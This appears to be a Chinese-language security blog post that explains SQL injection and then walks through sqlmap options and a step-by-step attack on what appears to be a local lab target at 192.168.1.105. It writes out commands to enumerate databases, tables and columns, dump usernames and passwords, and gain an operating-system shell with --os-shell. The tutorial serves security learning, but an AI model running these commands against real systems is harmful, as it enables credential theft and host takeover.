什么是SQL注入?

原理:

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令

危害:

注入可能导致数据丢失泄露或数据破坏、缺乏可审计性,有时甚至能导致完全接管主机。

类型:

主要有 数字型字符型搜索型

防范:

使用结构化查询,如Mysqli,并且添加过滤机制

分类(根据技术)

另外还有

二阶注入:不对Web服务器产生直接影响,无回显的

基于注入点位置的: 通过用户输入的表单域的注射入、 通过cookie注射入、通过HTTP-header请求头的注入

关于SQL注入神器 Sqlmap

我的博客有详细的sqlmap用法:https://wintrysec.github.io/wintrysec.github.io/2018/12/12/SQLmap/

当给到 sqlmap 一个url的时候它会这么做

1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据

所以使用sqlmap的时候,应提供尽量多的已知信息,提高效率

关于--level--risk选项

参数说明:

--purge                 #清楚缓存日志

--data="id=1&name=test" #发送POST请求,默认使用&分隔符

--param-del=";" #强制参数使用";"分隔符

--delay=10 #延时注入的方法,说明一分钟请求6次

--timeout #设定http请求超过多少秒为超时,默认30秒

--random-agent #Sqlmap会从文件 ./txt/user-agents.txt 中随机地取一个User-Agent

#注意,在一次会话中只会使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent

--auth-type Basic --auth-cred "user:pass" #基本身份认证

--ignore-code=401 #无视http状态码

--ignore-redirects #无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉

--safe-url="xxx.com" #隔一会就访问一下的安全URL,避免错误请求过多而被屏蔽,Sqlmap不会对安全URL进行任何注入测试

--skip-urlencode #关闭URL编码, 不排除有的奇葩网站url不遵守RFC标准编码

Techniques

--technique=TECH 
#指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)

--time-sec=TIMESEC #在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
--union-cols=UCOLS #联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
--union-char=UCHAR #联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
--union-from=UFROM #联合查询从之前的查询结果中选择列,和上面的类似。
--dns-domain=DNS.. #如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
--second-order=S.. #在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php 用于二阶注入

寻找并利用SQL注入

这里我们使用sqlmap演示一个最简单的sql注入

1.注入检测,获取数据库

sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql --dbs    #-u指定目标,--dbs列数据库

2.列表

sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name --tables

3.列字段

sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name -T users --columns

4.拖库 (取数据)

sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name -T users -C "id,username,password" --dump --stop 5  #--stop N 取前N条数据

5.拓展

--is-dba    #判断是否dba权限,如果是可以用下边的选项获取shell
--os-shell #获取系统交互shell
12-23 11:23
查看更多